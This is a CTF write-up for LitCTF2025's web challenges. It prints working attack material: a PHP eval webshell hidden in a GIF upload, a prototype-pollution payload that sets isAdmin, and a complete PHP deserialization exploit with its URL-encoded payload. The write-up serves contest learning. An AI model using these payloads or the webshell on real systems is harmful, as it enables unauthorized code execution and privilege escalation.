LitCTF2025 wp
Web
解题情况:3/6
星愿信箱
打开控制台网络发现是 python 服务器,猜测可能是 SSTI。测试发现 "{{}}" 被过滤:
但 "{%%}" 没被过滤,打 payload:

这里需要找到对应的类,fuzz 一下找到:

Cat 被过滤,用 tac:

NSSCTF{dba92f5a-df81-41c8-a8de-78b7c354b00a}
nest_js
提示 /dashboard,访问重定向回 /login,而且不管访问什么都重定向回 /login
这里查看源码发现:

最后一段源码显示:登录成功后创建 token=,并且全站有效,这里发现是必须携带 token 访问,尝试携带 cookie: token=123abc 访问 /dashboard
成功!

LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}
多重宇宙日记
题目提示 原型链污染

这里提到,网页是通过 isAdmin 来进行验证的:
构造原型链污染:

payload:
{
"settings": {
"language": "en",
"__proto__": {
"isAdmin": true
}
}
}

NSSCTF{2cc127d1-c663-42ca-8d47-ba64cc5ad093}
easy_file(复现)
爆破发现页面存在弱口令登录:
账号:admin
密码:password
查看源码发现提示:

登录后发现是文件上传:

上传一个图片马,使用短标签(php 字符串被 ban):

GIF89a
<?=
eval($_POST['hack']);
?>
根据刚刚的提示,我们在 /admin.php 页面尝试 GET file 参数,将图片马包含进去(即查看头像):

发现成功显示,接下来 RCE 得到 flag:

NSSCTF{4cfaa997-e30b-449a-912f-4c66e6258b7f}
easy_signin(复现)
打开直接 403,扫目录:

发现 /login.html

查看源码发现 /api.js:

打开发现读取文件和网页快照的 api:

尝试读取该 api 的 urlcode.php:

在查看源代码中发现其 php 代码:(比赛的时候就是没有去查看源代码导致一直卡题目)

直接访问源码中的 327a6c4304ad5938eaf0efb6cc3e53dc.php 得到 flag:

NSSCTF{5ee499f6-9dab-4aeb-b360-7ec7a89d3c66}
君の名は(复现)
注意 php 版本!
这里我将 php 版本设置为 7.3.4,请在打 php web 题目的时候注意版本,如果使用 php8 运行待会的反序列化 poc,将会有细微差别导致 poc 打不进去。

访问得到源码,是反序列化题目:
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
思路
这里的反序列化链子很简单:
Taki.__unserialize()
=> Mitsuha.__invoke()
=> KatawareDoki.__toString()
=> Taki.__call()
=> create_function("", 'die(`/readflag`);');
这里有个关键点,就是要调用一开始创建的匿名函数:
create_function("", 'die(`/readflag`);');
这个匿名函数执行后的效果就是运行 /readflag 程序,输出 flag,所以我们现在要做两件事情:
- 找到这个匿名函数真实的函数名
- 找到调用这个匿名函数的方法
create_function()
匿名函数其实没有名字?
首先我们查看 create_function 的底层源代码,发现其在创建的时候,会给函数命名为
\000lambda_x
其中 x 从 0 开始一直往后自增,其实依据这个规律我们能尝试找到 在该文件中匿名函数的 “真实名字”(可以尝试 fuzz)。
注意,网页每刷新一次,匿名函数的 x 就会自增 1,所以可以尝试重启容器或者暴力找该函数名
反射调用函数 ReflectionFunction
搜索发现,ReflectionFunction 的 invoke 方法可以根据函数名字调用函数。
绕过序列化字符串开头的 O
我们可以使用一个类将反序列化链子包装起来,开头的 O 就会被自动转化为 C,下面是 POC:
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();
$a->musubi = $b;
$b->thread = $c;
$c->soul = $a;
$d = array("evil"=>$a);
$e = new ArrayObject($d);
echo urlencode(serialize($e));
?>
payload: (fuzz),这里我重启了容器,所以匿名函数的名字从 0 开始,尝试手动遍历得到 flag
C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

LitCTF{a4c9d9b1-4o9v-773o-8da6-3kbcbaa127u44}
总结
这次比赛只做出来前三题,还有三题十分可惜,都是离 flag 差一步之遥。
- 打 web 题的环境没有配得完美(php 版本问题)
- 把问题想复杂,忽视简单的攻击方式
- 做题目太急躁,慌慌张张
希望下次比赛能打出更好的成绩捏~

浙公网安备 33010602011771号